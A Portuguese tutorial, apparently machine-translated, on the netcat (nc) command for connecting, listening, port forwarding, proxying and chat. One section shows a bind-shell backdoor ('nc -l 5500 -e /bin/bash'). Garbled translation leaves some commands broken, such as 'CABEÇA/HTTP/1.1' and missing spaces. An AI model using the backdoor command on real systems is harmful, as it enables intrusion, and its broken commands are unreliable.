NC é para executar tarefas de manutenção/Diagnóstico relacionadas com a rede . Ele pode realizar operações como ler,escrever ou redirecionamento de dados sobre a rede, semelhante a como você pode usar o comando cat para manipular arquivos no sistema Linux. O comando Nc pode ser usado como um utilitário para digitalizar portas, monitorar ou também pode atuar como um proxy TCP básico.
as organizações podem utilizá-lo para rever a sua segurança de rede, servidores web, Servidores de telnet, servidores de E-mail e assim por diante, verificando as portas que são abertas e, em seguida, protegê-las., O comando NC também pode ser usado para capturar informações que estão sendo enviadas pelo sistema.
Leitura Recomendada : Top 7 comandos para Linux Monitoramento do Tráfego de Rede
Leia Também : Importante PostgreSQL comandos que você deve saber
Agora, vamos discutir como podemos usar o comando NC com alguns exemplos,
Exemplos para NC comando
Ligar a um servidor remoto
o Seguinte exemplo mostra como podemos conectar-se ao servidor remoto com o nc comando,
$ nc 10.10.10.100 80
aqui, 10.10.10.,100 é IP do servidor que queremos conectar a & 80 é o número de porta do servidor remoto. Uma vez conectado, podemos realizar algumas outras funções, como podemos obter o total conteúdo da página com
GET/HTTP/1.1
ou buscar nome da página,
GET/HTTP/1.1
ou podemos obter banner para OS fingerprinting com a seguinte,
CABEÇA/HTTP/1.1
Isto irá permitir-nos saber o que o software & versão é usada para executar o servidor.,
ouvir os pedidos de ligação de entrada
para verificar um servidor para o pedido de ligação de entrada num número de Porto, usar como exemplo
$ nc-l 8080
agora NC está em Modo de escuta para verificar o porto 8080 para pedidos de ligação de entrada. Agora o modo de escuta vai continuar em execução, até ser terminado manualmente. Mas podemos abordar esta opção ‘ w ‘ para NC,
$ nc-w 10 8080
aqui, 10 significa que NC só irá ouvir ligações durante 10 segundos.,
ligando-se aos portos UDP
por omissão, podemos ligar-nos aos portos TCP com NC, mas para ouvir o pedido de entrada feito aos portos UDP temos de usar a opção ‘u’,
$ nc-l-u 55
usando NC para encaminhamento de Portos
com a opção ‘c’ de NC, podemos redireccionar um porto para outro. Exemplo completo é,
$ nc-u-l 8080-C ‘nc-u-l 8090’
Aqui, encaminhamos todos os pedidos recebidos da porta 8080 para a porta 8090.
usando NC como servidor Proxy
para usar o comando NC como um proxy, use <| p>
$ nc – l 8080 / nc 10.10.10.,200 80
aqui, todas as ligações recebidas para a porta 8080 serão desviadas para o servidor 10.10.10.200 na porta 80.
Agora com o comando acima, nós apenas criamos uma passagem de ida. Para criar uma devolução de passagem ou de 2 vias de canal de comunicação, use os seguintes comandos
$ mkfifo 2way
$ nc – l 8080 0<2way | nc 10.10.10.200 80 1>2way
Agora você vai ter a capacidade de enviar e receber informações através nc proxy.,
usando NC como ferramenta de chat
outro utilitário que o comando NC pode servir é como uma ferramenta de chat. Sim, também podemos usá-lo como conversa. Para criá-lo, primeiro execute o seguinte comando em um servidor,
$ nc – l 8080
do Que para conectar no computador remoto, execute
$ nc 10.10.10.100 8080
Agora podemos começar a conversa usando o terminal/CLI.
usando NC para criar um backdoor do sistema
Agora este é o aplicativo mais comum de NC & é usado principalmente por hackers., Basicamente isso cria um backdoor para o sistema que pode ser explorado pelos hackers (você não deve estar fazendo isso, está errado).deve-se estar ciente disso a fim de proteger contra este tipo de façanhas.
o Seguinte comando pode ser usado para criar uma backdoor,
$ nc-l 5500 -e /bin/bash
aqui, anexamos porta 5500 para /bin/bash, que agora pode ser conectado a partir de uma máquina remota para executar os comandos,
$ nc 10.10.10.100 5500
Força o servidor a permanecer até
Servidor irá parar de escutar para conexão depois de uma ligação do cliente tenha sido finalizado., Mas com a opção ‘k’, podemos forçar um servidor a permanecer em execução, mesmo quando nenhum cliente está conectado.
$ nc-l-k 8080
terminamos agora este tutorial sobre como usar o comando NC, sinta-se à vontade para enviar quaisquer perguntas ou consultas que tenha sobre este artigo.,
Se você acha que tem ajudado você ou apenas quer para nos apoiar, por favor, considere estes :-
Ligue-nos: Facebook | Twitter | Google Plus
Doar-nos algum do seu dinheiro arduamente ganho:
Linux TechLab é grato por seu apoio contínuo.